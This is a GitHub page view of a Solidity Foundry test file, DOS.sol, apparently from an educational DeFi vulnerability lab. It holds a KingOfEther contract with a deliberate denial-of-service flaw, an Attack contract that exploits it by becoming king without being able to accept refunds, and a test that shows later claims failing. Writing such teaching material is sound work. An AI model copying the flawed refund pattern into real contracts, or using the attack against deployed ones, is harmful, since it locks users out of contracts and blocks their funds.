forked from SunWeb3Sec/DeFiVulnLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DOS.sol
63 lines (48 loc) · 1.65 KB
/
DOS.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
contract ContractTest is Test {
KingOfEther KingOfEtherContract;
Attack AttackerContract;
function setUp() public {
KingOfEtherContract = new KingOfEther();
AttackerContract = new Attack(KingOfEtherContract);
}
function testDOS() public {
address alice = vm.addr(1);
address bob = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.deal(address(bob), 2 ether);
vm.prank(alice);
KingOfEtherContract.claimThrone{value: 1 ether}() ;
vm.prank(bob);
KingOfEtherContract.claimThrone{value: 2 ether}() ;
console.log("Return 1 ETH to Alice, Alice of balance", address(alice).balance);
AttackerContract.attack{value: 3 ether}();
console.log("Balance of KingOfEtherContract", KingOfEtherContract.balance());
console.log("Attack completed, Alice claimthrone again, she will fail");
vm.prank(alice);
KingOfEtherContract.claimThrone{value: 1 ether}() ;
}
receive() payable external{}
}
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}